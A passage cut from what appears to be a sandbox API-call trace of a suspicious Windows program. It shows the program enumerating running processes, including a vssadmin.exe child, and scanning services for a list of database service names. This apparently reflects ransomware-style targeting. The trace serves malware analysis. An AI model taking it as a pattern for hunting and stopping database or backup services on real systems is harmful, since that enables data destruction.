th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.667] lstrlenW (lpString="wininit.exe") returned 11 [0269.667] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.667] lstrlenW (lpString="csrss.exe") returned 9 [0269.668] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.668] lstrlenW (lpString="winlogon.exe") returned 12 [0269.668] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.669] lstrlenW (lpString="services.exe") returned 12 [0269.669] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.670] lstrlenW (lpString="lsass.exe") returned 9 [0269.670] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0269.671] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0269.671] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0269.672] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0269.672] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.673] lstrlenW (lpString="svchost.exe") returned 11 [0269.673] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.674] lstrlenW (lpString="svchost.exe") returned 11 [0269.674] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.675] lstrlenW (lpString="dwm.exe") returned 7 [0269.675] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.676] lstrlenW (lpString="svchost.exe") returned 11 [0269.676] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.677] lstrlenW (lpString="svchost.exe") returned 11 [0269.677] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.678] lstrlenW (lpString="svchost.exe") returned 11 [0269.679] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.679] lstrlenW (lpString="svchost.exe") returned 11 [0269.680] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.681] lstrlenW (lpString="svchost.exe") returned 11 [0269.681] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.682] lstrlenW (lpString="svchost.exe") returned 11 [0269.682] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.683] lstrlenW (lpString="svchost.exe") returned 11 [0269.683] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.684] lstrlenW (lpString="svchost.exe") returned 11 [0269.684] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.839] lstrlenW (lpString="svchost.exe") returned 11 [0269.840] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.053] lstrlenW (lpString="svchost.exe") returned 11 [0270.053] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.055] lstrlenW (lpString="spoolsv.exe") returned 11 [0270.055] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.056] lstrlenW (lpString="svchost.exe") returned 11 [0270.056] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.057] lstrlenW (lpString="audiodg.exe") returned 11 [0270.057] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0270.058] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0270.059] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0270.060] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0270.060] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0270.061] lstrlenW (lpString="Memory Compression") returned 18 [0270.062] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.063] lstrlenW (lpString="svchost.exe") returned 11 [0270.063] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0270.064] lstrlenW (lpString="sihost.exe") returned 10 [0270.064] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0270.065] lstrlenW (lpString="MDMAgent.exe") returned 12 [0270.065] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0270.067] lstrlenW (lpString="taskhostw.exe") returned 13 [0270.067] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0270.068] lstrlenW (lpString="msoia.exe") returned 9 [0270.068] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.069] lstrlenW (lpString="explorer.exe") returned 12 [0270.069] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0270.070] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0270.070] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0270.071] lstrlenW (lpString="SearchUI.exe") returned 12 [0270.071] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0270.072] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0270.072] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.073] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0270.073] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0270.074] lstrlenW (lpString="chrome64b.exe") returned 13 [0270.075] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0270.076] lstrlenW (lpString="cmd.exe") returned 7 [0270.076] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0270.077] lstrlenW (lpString="conhost.exe") returned 11 [0270.077] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.078] lstrlenW (lpString="svchost.exe") returned 11 [0270.079] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0270.080] lstrlenW (lpString="vssadmin.exe") returned 12 [0270.080] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0270.081] lstrlenW (lpString="consent.exe") returned 11 [0270.081] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0270.082] CloseHandle (hObject=0x530) returned 1 [0270.082] Sleep (dwMilliseconds=0x1f4) [0270.775] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a090 [0270.776] EnumServicesStatusExW (in: hSCManager=0x69a090, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0270.776] GetLastError () returned 0xea [0270.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1cc6) returned 0x44f0738 [0270.777] EnumServicesStatusExW (in: hSCManager=0x69a090, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44f0738, cbBufSize=0x1cc6, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44f0738, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0270.778] CloseServiceHandle (hSCObject=0x69a090) returned 1 [0270.778] lstrlenW (lpString="Appinfo") returned 7 [0270.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0270.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0270.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0270.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0270.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0270.778] lstrlenW (lpString="AppXSvc") returned 7 [0270.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0270.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0270.779] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0270.779] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0270.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0270.779] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0270.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0270.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0270.779] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0270.779] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0270.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0270.779] lstrlenW (lpString="Audiosrv") returned 8 [0270.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0270.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0270.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0270.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0270.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0270.779] lstrlenW (lpString="BFE") returned 3 [0270.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0270.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0270.779] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0270.779] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0270.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0270.779] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0270.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0270.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0270.779] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0270.780] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0270.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0270.780] lstrlenW (lpString="CDPSvc") returned 6 [0270.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0270.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0270.780] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0270.780] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0270.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0270.780] lstrlenW (lpString="ClickToRunSvc") returned 13 [0270.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0270.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0270.780] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0270.780] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0270.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0270.780] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0270.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0270.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0270.780] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0270.780] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0270.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0270.780] lstrlenW (lpString="CryptSvc") returned 8 [0270.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0270.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0270.780] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0270.780] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0270.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0270.781] lstrlenW (lpString="DcomLaunch") returned 10 [0270.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0270.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0270.781] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0270.781] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0270.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0270.781] lstrlenW (lpString="DeviceAssociationService") returned 24 [0270.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0270.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0270.781] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0270.781] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0270.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0270.781] lstrlenW (lpString="Dhcp") returned 4 [0270.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0270.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0270.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0270.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0270.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0270.781] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0270.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0270.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0270.781] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0270.781] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0270.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0270.781] lstrlenW (lpString="Dnscache") returned 8 [0270.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0270.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0270.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0270.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0270.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0270.782] lstrlenW (lpString="DPS") returned 3 [0270.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0270.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0270.782] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0270.782] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0270.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0270.782] lstrlenW (lpString="DusmSvc") returned 7 [0270.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0270.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0270.782] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0270.782] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0270.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0270.782] lstrlenW (lpString="EventLog") returned 8 [0270.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0270.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0270.782] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0270.782] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0270.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0270.782] lstrlenW (lpString="EventSystem") returned 11 [0270.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0270.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0270.782] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0270.783] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0270.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0270.783] lstrlenW (lpString="FontCache") returned 9 [0270.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0270.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0270.783] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0270.783] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0270.783] lstrcmpiW 